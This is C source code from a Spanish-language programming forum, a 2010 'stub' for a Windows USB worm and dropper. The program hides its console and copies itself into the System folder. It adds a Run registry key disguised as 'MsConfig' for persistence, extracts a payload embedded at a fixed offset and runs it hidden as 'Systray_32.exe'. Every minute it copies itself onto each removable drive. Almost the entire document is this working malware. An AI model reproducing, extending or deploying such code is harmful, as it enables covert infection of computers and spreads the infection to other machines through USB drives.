Código: Seleccionar todo
/*
Stub Codeado por : Heart.of.dragon
Mail : [email protected]
24 - 01 - 2010
*/
#include <windows.h>
#include <stdio.h>
#define NumOffset 9216 //Numero de Offset donde comienza EL archivo a ejecutar.
////////////////String Donde se guardara el Nombre del Archivo////////////////////////////
char NameFile[MAX_PATH] = "\\LpZ123.exe";
//////////////////////////////////////////////////////////////////////////////////////////
////////////////String donde Se guarda la Ruta donde se ejecuta nuestro Exe///////////////
char Copiar[MAX_PATH] = "Ruta\\";
//////////////////////////////////////////////////////////////////////////////////////////
////////////////String donde Se guarda la Ruta de la Carpeta System///////////////////////
char SystemDir[MAX_PATH] = "Ruta\\";
char CopiaSystemDir[MAX_PATH] = "Ruta\\";
//////////////////////////////////////////////////////////////////////////////////////////
struct __nodo{
char Unidad[5];
struct __nodo* sig;
};
__nodo* L = NULL;
__nodo* P = NULL;
//Prototipos de Funciones.
int NumerandoyGuardando();
int Comprobando(char* Disc);
char* SoltandoDisc(char* Buffer);
void CopiarArc(char* Ruta);
void InicioWindows();
void SacandoyEjecutando();
/////////////////////////////
int main()
{
FreeConsole(); //Sacamos La pantalla Negra.
CopiarArc(Copiar); //Copiamos El *.exe en La Carpeta System.
InicioWindows(); //Nos Escribimos en el Registro para que inicie con Windows.
SacandoyEjecutando(); //Sacamos El Archivo y Ejecutamos.
char Buff[MAX_PATH] = {'\0'}; //Buffer de Copia.
int NumDisc = 0;
FILE* Arc;
while(1)
{
NumDisc = NumerandoyGuardando(); //Retorna el Numero de discos Extraibles.
for(int i = 0; i <= NumDisc; i++)
{
strcat(SoltandoDisc(Buff),NameFile); //Concatenamos La Letra de la Unidad Removible Con -
//El Nombre del Archivo.
Arc = fopen(Buff,"rb"); //Intentamos Abrir el Archivo.
if(!Arc) // si el Archivo No Existe en el Disco Extraible, lo Copiamos <img src="http://www.elartedeprogramar.cl/foro/Smileys/default/wink.gif" alt="Wink" border="0">.
{
CopyFile(SystemDir,Buff,false); //Copiamos el Archivo al Disco.
}
else
{
fclose(Arc); //De lo Contrario, si existe, lo cerramos y no copiamos <img src="http://www.elartedeprogramar.cl/foro/Smileys/default/wink.gif" alt="Wink" border="0">.
}
}
Sleep(60000); //Esperamos un Minuto y comprobamos denuevo.
}
return 0;
}
int NumerandoyGuardando()
{
L = NULL;
P = NULL;
int e = 0;
int i = 0;
char Buff[MAX_PATH] = {'\0'};
GetLogicalDriveStrings(MAX_PATH,Buff);
char* Ptr_Buff = Buff;
while(*Ptr_Buff != '\0')
{
if((Comprobando(Ptr_Buff) == 2) && (*Ptr_Buff != 'A'))
{
P = ( __nodo*)malloc(sizeof(__nodo));
strcpy(P->Unidad,Ptr_Buff);
P->sig = L;
L = P;
i++;
}
e = sizeof(*Ptr_Buff) + 3;
Ptr_Buff += e;
}
P = L;
return i -1;
}
int Comprobando(char* Disc)
{
if(GetDriveType(Disc) == 2)
{
return 2;
}
return 0;
}
char* SoltandoDisc(char* Buffer)
{
ZeroMemory(Buffer,sizeof(Buffer)); //Limpiamos la Memoria.
strcpy(Buffer,P->Unidad); //Copiamos La unidad a Buffer.
P = P->sig;
return Buffer; //Retornamos un Puntero al Buffer.
}
void CopiarArc(char* Ruta)
{
//Limpiamos las Cadenas.
ZeroMemory(Ruta,sizeof(Ruta));
ZeroMemory(SystemDir,sizeof(SystemDir));
//Sacamos La Ruta donde se esta ejecutando nuestro *.exe
HMODULE handle = GetModuleHandle(NULL);
GetModuleFileName(handle,Ruta,MAX_PATH);
CloseHandle(handle);
//Sacamos La Ruta de la Carpeta System.
GetSystemDirectory(SystemDir,MAX_PATH);
strcpy(CopiaSystemDir,SystemDir);
//Copiamos el *.exe A la Carpeta System.
strcat(SystemDir,NameFile); //Juntamos La Ruta de la Carpeta System con el Nombre del Archivo.
CopyFile(Ruta,SystemDir,false);
}
void InicioWindows()
{
HKEY hkey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"MsConfig",0,REG_SZ,(const unsigned char*)SystemDir,sizeof(SystemDir));
RegCloseKey(hkey);
}
void SacandoyEjecutando()
{
ZeroMemory(CopiaSystemDir,sizeof(CopiaSystemDir));
strcat(CopiaSystemDir,"Systray_32.exe");
FILE* Arc = fopen(SystemDir,"rb");
FILE* Cre = fopen(CopiaSystemDir,"wb+"); //Creamos un Archivo *.exe donde copiaremos.
fseek(Arc,NumOffset,SEEK_SET);
char BufferA[1024] = {'\0'};
int Byte = 0;
while(Byte = fread(BufferA,sizeof(char),1023,Arc))
{
fwrite(BufferA,sizeof(char),Byte,Cre);
}
fclose(Arc);
fclose(Cre);
ShellExecute(NULL,"open",CopiaSystemDir,NULL,NULL,SW_HIDE);
}